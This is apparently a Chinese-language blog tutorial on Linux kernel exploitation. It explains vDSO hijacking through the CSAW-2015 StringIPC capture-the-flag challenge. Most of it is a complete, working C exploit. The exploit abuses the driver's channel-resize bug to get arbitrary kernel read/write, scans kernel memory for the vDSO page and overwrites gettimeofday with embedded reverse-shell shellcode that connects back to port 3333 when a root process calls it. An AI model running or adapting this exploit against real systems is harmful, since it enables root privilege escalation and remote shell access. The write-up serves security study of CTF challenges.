linux kernel pwn學習之劫持vdso

Hijack vdso

VDSO就是Virtual Dynamic Shared Object,是內核提供的虛擬的.so,這個.so文件不在磁盤上,而是在內核裏頭。內核把包含某.so的內存頁在程序啓動的時候映射入其內存空間,對應的程序就可以當普通的.so來使用裏面的函數。Vdso裏面封裝了這幾個函數,其作用主要是加快對於某些對速度要求很高的系統調用,更多詳細信息可以查看https://blog.csdn.net/juana1/article/details/6904932

由於vdso是在內核裏,每個程序使用的時候,從內核裏映射給程序,如果我們事先在內核裏把vdso給劫持了,並把相應的函數覆蓋成我們的shellcode,然後,當其他程序要用的時候,從內核把我們篡改過的vdso映射過去,如果它正好調用了對應的函數,就會執行我們對應位置佈下的shellcode。當然普通權限的程序,調用我們的shellcode,也只是普通權限;如果有root權限的程序,調用我們的shellcode,那麼我們的shellcode也是以root權限執行。在linux中,crontab是帶有root權限的,並且它會不斷的調用vdso裏的gettimeofday函數,因此,我們如果把gettimeofday函數劫持爲shellcode,等待被調用即可。至於爲什麼可以劫持vdso,因爲vdso對於用戶程序,只讀、執行,而對於內核,它是RWX,可以修改。因此只要利用漏洞,將對於函數修改爲shellcode,佈置在vdso的shellcode可以爲反彈shell的shellcode,也可以是再運行一個其他程序,其他程序將繼承權限。以CSAW-2015-StringIPC爲例。

CSAW-2015-StringIPC

爲了劫持vdso,首先需要知道vdso在內核裏的地址,查看內核映射圖,vdso在內核附近,因此我們確定範圍0xffffffff80000000——0xffffffffffffefff

0xffffffffffffffff  ---+-----------+-----------------------------------------------+-------------+
                       |           |                                               |+++++++++++++|
    8M                 |           | unused hole                                   |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffffffffff7ff000  ---|-----------+------------| FIXADDR_TOP |--------------------|+++++++++++++|
    1M                 |           |                                               |+++++++++++++|
0xffffffffff600000  ---+-----------+------------| VSYSCALL_ADDR |------------------|+++++++++++++|
    548K               |           | vsyscalls                                     |+++++++++++++|
0xffffffffff577000  ---+-----------+------------| FIXADDR_START |------------------|+++++++++++++|
    5M                 |           | hole                                          |+++++++++++++|
0xffffffffff000000  ---+-----------+------------| MODULES_END |--------------------|+++++++++++++|
                       |           |                                               |+++++++++++++|
    1520M              |           | module mapping space (MODULES_LEN)            |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffffffffa0000000  ---+-----------+------------| MODULES_VADDR |------------------|+++++++++++++|
                       |           |                                               |+++++++++++++|
    512M               |           | kernel text mapping, from phys 0              |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffffffff80000000  ---+-----------+------------| __START_KERNEL_map |-------------|+++++++++++++|
    2G                 |           | hole                                          |+++++++++++++|
0xffffffff00000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    64G                |           | EFI region mapping space                      |+++++++++++++|
0xffffffef00000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    444G               |           | hole                                          |+++++++++++++|
0xffffff8000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    16T                |           | %esp fixup stacks                             |+++++++++++++|
0xffffff0000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    3T                 |           | hole                                          |+++++++++++++|
0xfffffc0000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    16T                |           | kasan shadow memory (16TB)                    |+++++++++++++|
0xffffec0000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    1T                 |           | hole                                          |+++++++++++++|
0xffffeb0000000000  ---+-----------+-----------------------------------------------| kernel space|
    1T                 |           | virtual memory map for all of struct pages    |+++++++++++++|
0xffffea0000000000  ---+-----------+------------| VMEMMAP_START |------------------|+++++++++++++|
    1T                 |           | hole                                          |+++++++++++++|
0xffffe90000000000  ---+-----------+------------| VMALLOC_END   |------------------|+++++++++++++|
    32T                |           | vmalloc/ioremap (1 << VMALLOC_SIZE_TB)        |+++++++++++++|
0xffffc90000000000  ---+-----------+------------| VMALLOC_START |------------------|+++++++++++++|
    1T                 |           | hole                                          |+++++++++++++|
0xffffc80000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
    64T                |           | direct mapping of all phys. memory            |+++++++++++++|
                       |           | (1 << MAX_PHYSMEM_BITS)                       |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffff880000000000 ----+-----------+-----------| __PAGE_OFFSET_BASE | -------------|+++++++++++++|
                       |           |                                               |+++++++++++++|
    8T                 |           | guard hole, reserved for hypervisor           |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffff800000000000 ----+-----------+-----------------------------------------------+-------------+
                       |-----------|                                               |-------------|
                       |-----------| hole caused by [48:63] sign extension         |-------------|
                       |-----------|                                               |-------------|
0x0000800000000000 ----+-----------+-----------------------------------------------+-------------+
    PAGE_SIZE          |           | guard page                                    |xxxxxxxxxxxxx|
0x00007ffffffff000 ----+-----------+--------------| TASK_SIZE_MAX | ---------------|xxxxxxxxxxxxx|
                       |           |                                               |  user space |
                       |           |                                               |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
    128T               |           | different per mm                              |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
0x0000000000000000 ----+-----------+-----------------------------------------------+-------------+

我們該以什麼爲依據來搜索vdso呢?

我們可以以當前程序的vdso裏字符串的偏移爲依據,在程序中,獲取當前的vdso地址的代碼如下

  1. //獲取vdso裏的字符串"gettimeofday"相對vdso.so的偏移  
  2. int get_gettimeofday_str_offset() {  
  3.    //獲取當前程序的vdso.so加載地址0x7ffxxxxxxxx  
  4.    size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);  
  5.    char* name = "gettimeofday";  
  6.    if (!vdso_addr) {  
  7.       errExit("[-]error get name's offset");  
  8.    }  
  9.    //僅需要搜索1頁大小即可,因爲vdso映射就一頁0x1000  
  10.    size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));  
  11.    if (name_addr < 0) {  
  12.       errExit("[-]error get name's offset");  
  13.    }  
  14.    return name_addr - vdso_addr;  
  15. }  

我們先確定字符串,比如gettimeofday在vdso.so裏的偏移,通過這段代碼,即可確定,然後我們在指定的範圍內,一頁一頁(0x1000字節)的搜索如果在當前一頁數據處偏移offset後是gettimeofday字符串,那麼,我們就能確定當前頁起始地址就是vdso在內核裏的地址。我們必須一頁一頁的搜索,這樣成功率高,因爲vdso的映射就一頁。

當我們搜索到vdso在內核的地址後,接下來,準備劫持gettimeofday函數,那麼,我們需要先確定gettimeofday在vdso內的偏移。我們可以gdbvdsodump出來,再來分析。

首先,運行我們未寫完的exploit,得到vdso在內核中的地址

然後,我們用gdb target到虛擬機

接着dump出vdso.so,dump一頁大小即可

這樣,我們得到vdso.so,拖到IDA中,查看gettimeofday函數的偏移爲0xCB0,由此,我們計算出gettimeofday函數在內核中的地址,利用任意讀寫漏洞,覆蓋這裏爲我們shellcode即可。我們的shellcode是一個反彈shell的shellcode,它將shell反彈到本地端口3333。我們只需nc 本地端口3333即可。Shellcode可以自己編寫,也可以用現成的https://gist.github.com/itsZN/1ab36391d1849f15b785

綜上,我們exploit.c程序

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/time.h>
#include <sys/auxv.h>

#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8
//gettimeofday函數在vdso.so裏的偏移
//運行程序,得到vdso.so的地址
//用gdb dump出vdso.so文件,拿到IDA裏分析函數的地址
#define GETTIMEOFDAY_FUN 0xCB0

struct alloc_channel_args {
    size_t buf_size;
    int id;
};

struct shrink_channel_args {
    int id;
    size_t size;
};

struct read_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct write_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct seek_channel_args {
    int id;
    loff_t index;
    int whence;
};

void errExit(char *msg) {
   puts(msg);
   exit(-1);
}
//驅動的文件描述符
int fd;
//初始化驅動
void initFD() {
   fd = open("/dev/csaw",O_RDWR);
   if (fd < 0) {
      errExit("[-] open file error!!");
   }
}

//申請一個channel,返回id
int alloc_channel(size_t size) {
   struct alloc_channel_args args;
   args.buf_size = size;
   args.id = -1;
   ioctl(fd,CSAW_ALLOC_CHANNEL,&args);
   if (args.id == -1) {
      errExit("[-]alloc_channel error!!");
   }
   return args.id;
}

//改變channel的大小
void shrink_channel(int id,size_t size) {
   struct shrink_channel_args args;
   args.id = id;
   args.size = size;
   ioctl(fd,CSAW_SHRINK_CHANNEL,&args);
}
//seek
void seek_channel(int id,loff_t offset,int whence) {
   struct seek_channel_args args;
   args.id = id;
   args.index = offset;
   args.whence = whence;
   ioctl(fd,CSAW_SEEK_CHANNEL,&args);
}
//讀取數據
void read_channel(int id,char *buf,size_t count) {
   struct read_channel_args args;
   args.id = id;
   args.buf = buf;
   args.count = count;
   ioctl(fd,CSAW_READ_CHANNEL,&args);
}
//寫數據
void write_channel(int id,char *buf,size_t count) {
   struct write_channel_args args;
   args.id = id;
   args.buf = buf;
   args.count = count;
   ioctl(fd,CSAW_WRITE_CHANNEL,&args);
}
//任意地址讀
void arbitrary_read(int id,char *buf,size_t addr,size_t count) {
   seek_channel(id,addr-0x10,SEEK_SET);
   read_channel(id,buf,count);
}
//任意地址寫
//由於題目中使用了strncpy_from_user,遇到0就會截斷,因此,我們逐字節寫入
void arbitrary_write(int id,char *buf,size_t addr,size_t count) {
   for (int i=0;i<count;i++) {
      seek_channel(id,addr+i-0x10,SEEK_SET);
      write_channel(id,buf+i,1);
   }
}
//獲取vdso裏的字符串"gettimeofday"相對vdso.so的偏移
int get_gettimeofday_str_offset() {
   //獲取當前程序的vdso.so加載地址0x7ffxxxxxxxx
   size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
   char* name = "gettimeofday";
   if (!vdso_addr) {
      errExit("[-]error get name's offset");
   }
   //僅需要搜索1頁大小即可,因爲vdso映射就一頁0x1000
   size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));
   if (name_addr < 0) {
      errExit("[-]error get name's offset");
   }
   return name_addr - vdso_addr;
}

//用於反彈shell的shellcode,127.0.0.1:3333
char shellcode[]="\x90\x53\x48\x31\xc0\xb0\x66\x0f\x05\x48\x31\xdb\x48\x39\xc3\x75\x0f\x48\x31\xc0\xb0\x39\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x09\x5b\x48\x31\xc0\xb0\x60\x0f\x05\xc3\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58\x0f\x05\x48\x97\x50\x48\xb9\xfd\xff\xf2\xfa\x80\xff\xff\xfe\x48\xf7\xd1\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x07\x48\x31\xc0\xb0\xe7\x0f\x05\x90\x6a\x03\x5e\x6a\x21\x58\x48\xff\xce\x0f\x05\x75\xf6\x48\xbb\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xd3\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05\x48\x31\xc0\xb0\xe7\x0f\x05";

int main() {
   char *buf = (char *)calloc(1,0x1000);
   initFD();
   //申請一個channel,大小0x100
   int id = alloc_channel(0x100);
   //改變channel大小,形成漏洞,實現任意地址讀寫
   shrink_channel(id,0x101);
   //獲取gettimeofday字符串在vdso.so裏的偏移
   int gettimeofday_str_offset = get_gettimeofday_str_offset();
   printf("gettimeofday str in vdso.so offset=0x%x\n",gettimeofday_str_offset);
   size_t vdso_addr = -1;
   for (size_t addr=0xffffffff80000000;addr < 0xffffffffffffefff;addr += 0x1000) {
      //讀取一頁數據
      arbitrary_read(id,buf,addr,0x1000);
      //如果在對應的偏移處,正好是這個字符串,那麼我們就能確定當前就是vdso的地址
      //之所以能確定,是因爲我們每次讀取了0x1000字節數據,也就是1頁,而vdso的映射也只是1頁
      if (!strcmp(buf+gettimeofday_str_offset,"gettimeofday")) {
         printf("[+]find vdso.so!!\n");
         vdso_addr = addr;
         printf("[+]vdso in kernel addr=0x%lx\n",vdso_addr);
         break;
      }
   }
   if (vdso_addr == -1) {
      errExit("[-]can't find vdso.so!!");
   }
   size_t gettimeofday_addr = vdso_addr + GETTIMEOFDAY_FUN;
   printf("[+]gettimeofday function in kernel addr=0x%lx\n",gettimeofday_addr);
   //將gettimeofday處寫入我們的shellcode,因爲寫操作在內核驅動裏完成,內核可以讀寫執行vdso
   //用戶只能讀和執行vdso
   arbitrary_write(id,shellcode,gettimeofday_addr,strlen(shellcode));
   sleep(1);
   printf("[+]open a shell\n");
   system("nc -lvnp 3333");
   return 0;
}

劫持vdso能夠成功提權的條件是有root權限的程序調用vdso在真實環境下,crontab會調用,而在模擬的qemu裏,使用了一個程序來模擬

  1. #include <stdio.h>  
  2. int main(){  
  3.     while(1){  
  4.         sleep(1);  
  5.         gettimeofday();  
  6.     }  
  7. }  

將它編譯後,在init啓動腳本里加入它。本題,自帶了這個程序來模擬。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章